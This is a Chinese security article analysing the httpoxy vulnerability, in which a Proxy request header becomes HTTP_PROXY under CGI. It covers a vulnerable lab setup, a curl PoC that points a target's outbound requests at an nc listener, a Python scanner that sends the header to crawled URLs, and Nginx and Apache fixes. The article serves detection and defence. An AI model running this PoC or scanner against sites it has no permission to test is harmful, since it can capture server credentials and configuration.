小編寄語:
httpoxy是一個前段時間剛暴露出來的漏洞,該漏洞主要存在於apache等組件中會對HTTP頭部的Proxy欄位名變換為“HTTP_PROXY”,Value值不變,進而會傳遞給對應的CGI來執行。
投稿作者:D_M
漏洞分析
這個漏洞官網(https://httpoxy.org/)說的很清楚了,不過可能6級沒過的同學比較多,筆者在此再分析一下,順便提及一些理解錯誤的地方。
背景
- 'HTTP_PROXY'這個環境變數已經被我們約定俗成為請求代理,如果設定了這個環境變數,那麼我們的請求,將會被發送到'HTTP_PROXY'這個變數所存儲的地址。
'HTTP_PROXY'這個環境變數已經被我們約定俗成為請求代理,如果設定了這個環境變數,那麼我們的請求,將會被發送到'HTTP_PROXY'這個變數所存儲的地址。
- 在CGI(RFC 3875)的模式下,服務器會把請求頭(header)中所有的的變數名稱變為大寫,並且加上'HTTP_'的首碼,用來表示這個是HTTP請求中的變數。也就是說,當一個HTTP的header中如果存在'Proxy'這樣的變數,經過CGI解譯器在處理過後,將會變為'HTTP_PROXY',也就是變成了請求代理的環境變數。
在CGI(RFC 3875)的模式下,服務器會把請求頭(header)中所有的的變數名稱變為大寫,並且加上'HTTP_'的首碼,用來表示這個是HTTP請求中的變數。也就是說,當一個HTTP的header中如果存在'Proxy'這樣的變數,經過CGI解譯器在處理過後,將會變為'HTTP_PROXY',也就是變成了請求代理的環境變數。
漏洞
- 有人向目標服務器發送了一個帶有'Proxy:10.0.0.1:12121'頭(這個頭可以有用戶任意指定)的請求;
有人向目標服務器發送了一個帶有'Proxy:10.0.0.1:12121'頭(這個頭可以有用戶任意指定)的請求;
- 如果目標服務器在收到用戶端請求之後,需要向另外一個服務器請求數據,那麼由於背景中所述的原因,目標服務器的這條請求將發送到'10.0.0.1:12121'(這個被用戶指定的地址)上去。如果這個請求包含敏感資訊,比如伺服器配置或者服務器的身份認證資訊,那麼將造成敏感資訊洩露。
如果目標服務器在收到用戶端請求之後,需要向另外一個服務器請求數據,那麼由於背景中所述的原因,目標服務器的這條請求將發送到'10.0.0.1:12121'(這個被用戶指定的地址)上去。如果這個請求包含敏感資訊,比如伺服器配置或者服務器的身份認證資訊,那麼將造成敏感資訊洩露。
一些錯誤的理解
- 這個漏洞要求服務端以CGI模式(cgi,php-fpm)運行即可被觸發。如果服務器運行在CGI模式下,那麼我們請求了index.php檔案,服務器就會調用CGI解譯器來處理這個請求,並觸發漏洞。比如下麵的漏洞測試環境所示,而不必直接請求CGI檔案。而Github上卻有個被fork了多次的掃描器思路是:先建立一個常用的CGI檔案路徑檔案字典,然後將字典中的CGI檔案路徑逐個添加到目標網址後面如下圖,在發送帶有'Proxy'頭的請求。如下圖: 這樣的掃描器可能大多數的httpoxy漏洞都掃不到。
這個漏洞要求服務端以CGI模式(cgi,php-fpm)運行即可被觸發。如果服務器運行在CGI模式下,那麼我們請求了index.php檔案,服務器就會調用CGI解譯器來處理這個請求,並觸發漏洞。比如下麵的漏洞測試環境所示,而不必直接請求CGI檔案。而Github上卻有個被fork了多次的掃描器思路是:先建立一個常用的CGI檔案路徑檔案字典,然後將字典中的CGI檔案路徑逐個添加到目標網址後面如下圖,在發送帶有'Proxy'頭的請求。如下圖:
這樣的掃描器可能大多數的httpoxy漏洞都掃不到。
- 漏洞官網(https://httpoxy.org/)中提到一個受影響的表格:所說的'HTTP client'指的是,目標服務器向另外一臺服務器請求數據時所用的用戶端。同樣,這個表格只是說明確的使用'HTTP_PROXY'環境變數作為請求代理的程式有這些,但是還有無數的程式也存在這個漏洞,但是這裡並沒有列出來。比如鳥哥部落格(http://www.laruence.com/2016/07/19/3101.html)中舉例寫的程式碼,就沒有用到Guzzle 4+或Artax(所以建議及時不受此次漏洞的威脅,也建議做好防護)。
漏洞官網(https://httpoxy.org/)中提到一個受影響的表格:
所說的'HTTP client'指的是,目標服務器向另外一臺服務器請求數據時所用的用戶端。同樣,這個表格只是說明確的使用'HTTP_PROXY'環境變數作為請求代理的程式有這些,但是還有無數的程式也存在這個漏洞,但是這裡並沒有列出來。比如鳥哥部落格(http://www.laruence.com/2016/07/19/3101.html)中舉例寫的程式碼,就沒有用到Guzzle 4+或Artax(所以建議及時不受此次漏洞的威脅,也建議做好防護)。
<?php$http_proxy = getenv(“HTTP_PROXY”);if($http_proxy){ $context = array( 'http' => array( 'proxy' => $http_proxy, 'request_fulluri' => true, ), ); $s_context = stream_context_create($context); } else { $s_context = NULL; }$ret = file_get_contents(“http://www.laruence.com/”,false,$s_context);
} else { $s_context = NULL;
}$ret = file_get_contents(“http://www.laruence.com/”,false,$s_context);
推薦閱讀
在眾多的漏洞分析文章中,個人以為鳥哥的部落格(中文)(http://www.laruence.com/2016/07/19/3101.html)和symfony(英文)(https://www.symfony.fi/entry/ httpoxy-vulnerability-hits-php-installations-using-fastcgi-and-php-fpm-and-hhvm?from=timeline&isappinstalled=0)分析的十分清晰。除了官網(描述太蹩脚)外,推薦大家閱讀。
漏洞環境搭建(Ubuntu14.04+Nginx+PHP+Guzzle)
- 更新源安裝nginx:
更新源安裝nginx:
sudo apt-get update
sudo apt-get install nginx
- 安裝PHP及其相關模塊:sudo apt-get install php5-fpm php5-curl php5-cli
安裝PHP及其相關模塊:sudo apt-get install php5-fpm php5-curl php5-cli
sudo apt-get install php5-fpm php5-curl php5-cli
- 修改PHP默認配寘(可選,方便以後使用安全PHP):sudo nano /etc/php5/fpm/php.ini 去掉php模糊匹配當前檔案下的檔案,將';cgi.fix_pathinfo=1'前面的分號去掉,然後值改為0,如下: cgi.fix_pathinfo=0
修改PHP默認配寘(可選,方便以後使用安全PHP):sudo nano /etc/php5/fpm/php.ini 去掉php模糊匹配當前檔案下的檔案,將';cgi.fix_pathinfo=1'前面的分號去掉,然後值改為0,如下: cgi.fix_pathinfo=0
sudo nano /etc/php5/fpm/php.ini
';cgi.fix_pathinfo=1'
cgi.fix_pathinfo=0
- 後重啓PHP:sudo服務php5 fpm重啓
後重啓PHP:sudo服務php5 fpm重啓
sudo service php5-fpm restart
- 配寘網站:cd /etc/nginx/sites-available/可以選擇新建一個網站,但是為了簡單,我們直接修改默認的default網站sudo nano default我最終的設定檔如下,主要是添加對PHP的解析:
配寘網站:cd /etc/nginx/sites-available/可以選擇新建一個網站,但是為了簡單,我們直接修改默認的default網站sudo nano default我最終的設定檔如下,主要是添加對PHP的解析:
cd /etc/nginx/sites-available/
default
sudo nano default
- 安裝有漏洞的guzzle:進入網站資料夾 cd /usr/share/nginx/html我們看到是再6.2.1版本修復了httpoxy漏洞, 所以我們要選擇一個之前的版本,比如以前一個Version 6.1.1安裝Composer(PHP依賴項管理工具):curl -sS https://getcomposer.org/installer | php安裝成功後安裝guzzle6.1.1版本:php composer.pharrequire guzzlehttp/guzzle:6.1.1等待安裝完成,然後將vendor資料夾整個移動到上層目錄(html目錄)下。
安裝有漏洞的guzzle:進入網站資料夾 cd /usr/share/nginx/html我們看到是再6.2.1版本修復了httpoxy漏洞,
cd /usr/share/nginx/html
所以我們要選擇一個之前的版本,比如以前一個Version 6.1.1安裝Composer(PHP依賴項管理工具):curl -sS https://getcomposer.org/installer | php安裝成功後安裝guzzle6.1.1版本:php composer.phar require guzzlehttp/guzzle :6.1.1
curl -sS https://getcomposer.org/installer | php
php composer.phar require guzzlehttp/guzzle:6.1.1
等待安裝完成,然後將vendor資料夾整個移動到上層目錄(html目錄)下。
- 編寫漏洞PHP程式:再html資料夾下新建index.php檔案,內容如下所示。可以隨自己喜歡寫,但是注意使用了guzzlehttp用戶端發送數據:
編寫漏洞PHP程式:再html資料夾下新建index.php檔案,內容如下所示。可以隨自己喜歡寫,但是注意使用了guzzlehttp用戶端發送數據:
- 重啓服務器是配寘生效:sudo service nginx restartsudo service php5-fpm restart
重啓服務器是配寘生效:sudo service nginx restartsudo service php5-fpm restart
sudo service nginx restart
sudo service php5-fpm restart
- 現在訪問localhost/127.0.0.1/服務器ip,都可以看到剛才添加的頁面了同時會向www.tinydawn.com POST數據。
現在訪問localhost/127.0.0.1/服務器ip,都可以看到剛才添加的頁面了
同時會向www.tinydawn.com POST數據。
漏洞檢測/掃描/POC/EXP
- 漏洞檢測:檢測這個漏洞很簡單,只需要2步:
漏洞檢測:檢測這個漏洞很簡單,只需要2步:
- 給目標網站發送一個帶有'Proxy'頭的HTTP請求(比如:Proxy: 10.211.55.5:12121)
給目標網站發送一個帶有'Proxy'頭的HTTP請求(比如:Proxy: 10.211.55.5:12121)
- 在'Proxy'所設定的ip和埠監聽,看是否有來自目標ip的數據發過來(比如:在10.211.55.5機器上監聽12121埠)。如果收到了數據,則表示目標機器漏洞存在。
在'Proxy'所設定的ip和埠監聽,看是否有來自目標ip的數據發過來(比如:在10.211.55.5機器上監聽12121埠)。如果收到了數據,則表示目標機器漏洞存在。
- POC:
POC:
- 在任意一臺主機執行: shell curl -H“Proxy:10.211.55.5:12121”http://target.com/x.php
在任意一臺主機執行: shell curl -H“Proxy:10.211.55.5:12121”http://target.com/x.php
shell curl -H "Proxy:10.211.55.5:12121" http://target.com/x.php
- 在10.211.55.5上執行: shell nc -lvv -p 12121 >> httpoxy.log (感謝Wils0n(http://blog.wils0n.cn/)提供幫助)如果http://target.com/x.php頁面存在漏洞,將會在httpoxy.log中出現連接資訊。
在10.211.55.5上執行: shell nc -lvv -p 12121 >> httpoxy.log (感謝Wils0n(http://blog.wils0n.cn/)提供幫助)如果http://target.com/x.php頁面存在漏洞,將會在httpoxy.log中出現連接資訊。
shell nc -lvv -p 12121 >> httpoxy.log
- 批量掃描:這時候就需要我們萬能的動態爬蟲了,首先爬取整個目標網站的url,然後逐個向這些url逐個發送帶有Proxy頭的HTTP連接,同時在Proxy指定的機器上運行一個webserver,埠指定為Proxy中指定的埠,每次收到連接時,都將連接的資訊保存下來,然後響應404。如果不設定響應,目標網站將會一直等待到超時才向我們的掃描器返回數據。下附一個單執行緒掃描器的Python程式碼,接收數據的webserver就不提供了,如果只是用來做安全監測,netcat够用了。
批量掃描:這時候就需要我們萬能的動態爬蟲了,首先爬取整個目標網站的url,然後逐個向這些url逐個發送帶有Proxy頭的HTTP連接,同時在Proxy指定的機器上運行一個webserver,埠指定為Proxy中指定的埠,每次收到連接時,都將連接的資訊保存下來,然後響應404。如果不設定響應,目標網站將會一直等待到超時才向我們的掃描器返回數據。下附一個單執行緒掃描器的Python程式碼,接收數據的webserver就不提供了,如果只是用來做安全監測,netcat够用了。
import requestsimport datetimestarttime = datetime.datetime.now()fpi = open('urls.txt','r')urls = fpi.readlines()for url in urls: print(url) header = { 'Proxy':'10.211.55.5:12121', 'User-Agent':'Mozilla/5.0(Windows NT 6.3;WOW64;rv:38.0)Gecko/20100101 Firefox/38.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding':'gzip,deflate', 'X-Forwarded-For':'8.8.8.8', 'Connection':'keep-alive' } r = requests.get(url,headers = header)endtime = datetime.datetime.now()print((endtime - starttime).seconds)
- 查看日誌,檢測是否成功:服務器收到請求後未經CGI處理時的header:上圖可以看到header中包含'Proxy'變數。 上圖可以看到'Proxy'變數已經變為'HTTP_PROXY'環境代理變數。
查看日誌,檢測是否成功:服務器收到請求後未經CGI處理時的header:
上圖可以看到header中包含'Proxy'變數。
上圖可以看到'Proxy'變數已經變為'HTTP_PROXY'環境代理變數。
漏洞修復
Nginx的防護
- 清除FastCGI的proxy參數echo 'fastcgi_param HTTP_PROXY“”;' | sudo tee -a /etc/nginx/fastcgi.conf或者(根據使用的設定檔的不同,一起修改也不會有問題)echo 'fastcgi_param HTTP_PROXY“”;' | sudo tee -a /etc/nginx/ fastcgi_params
清除FastCGI的proxy參數echo 'fastcgi_param HTTP_PROXY“”;' | sudo tee -a /etc/nginx/fastcgi.conf或者(根據使用的設定檔的不同,一起修改也不會有問題)echo 'fastcgi_param HTTP_PROXY“”;' | sudo tee -a /etc/nginx/ fastcgi_params
echo 'fastcgi_param HTTP_PROXY "";' | sudo tee -a /etc/nginx/fastcgi.conf
echo 'fastcgi_param HTTP_PROXY "";
' | sudo tee -a /etc/nginx/fastcgi_params
- 清除nginx代理伺服器的參數echo 'proxy_set_header Proxy“”;' | sudo tee -a /etc/nginx/proxy_params
清除nginx代理伺服器的參數echo 'proxy_set_header Proxy“”;' | sudo tee -a /etc/nginx/proxy_params
echo 'proxy_set_header Proxy "";' | sudo tee -a /etc/nginx/proxy_params
- 完了不要忘記重啓sudo service nginx restart發生錯誤可以使用sudo nginx -t來檢測配寘語法,查看錯誤資訊。
完了不要忘記重啓sudo service nginx restart發生錯誤可以使用sudo nginx -t來檢測配寘語法,查看錯誤資訊。
sudo service nginx restart
sudo nginx -t
阿帕奇
Ubuntu和Debian
- Headerssudo a2enmod標題
Headerssudo a2enmod標題
mod_headers
sudo a2enmod headers
- 修改全域設定檔: sudo nano /etc/apache2/apache2.conf添加RequestHeader unset Proxy early,保存
修改全域設定檔: sudo nano /etc/apache2/apache2.conf添加RequestHeader unset Proxy early,保存
sudo nano /etc/apache2/apache2.conf
RequestHeader unset Proxy early
- 重啓Apache:sudo service apache2 restart發生錯誤可以使用sudo apache2ctl configtest來檢測配寘語法,查看錯誤資訊。
重啓Apache:sudo service apache2 restart發生錯誤可以使用sudo apache2ctl configtest來檢測配寘語法,查看錯誤資訊。
sudo service apache2 restart
sudo apache2ctl configtest
CentOS and Fedora
- mod_headers默認已經啟動
mod_headers默認已經啟動
mod_headers
sudo nano /etc/httpd/conf/httpd.conf
RequestHeader unset Proxy early
- 重啓sudo servicehttpdrestart檢查語法sudo apachectl configtest
重啓sudo servicehttpdrestart檢查語法sudo apachectl configtest
sudo servicehttpdrestart
sudo apachectl configtest
查看修復結果
修復後的日誌:
'HTTP_PROXY'變數已經被清除。修復成功。
©本文章為《安全智庫》的原創作者投稿,轉載請注明版權。
—————我是分割線 —————
安全智庫小編微信,歡迎共同探討,共同學習~
————— 我是另一個分割線 —————
安全智庫,致力於推進科技分享及創新。集思廣益,發揚共亯精神,將行業內有價值的科技沉澱下來,幫助更多安全從業者。
網址:http://tt.aisec.com
長按二維碼輕鬆關注!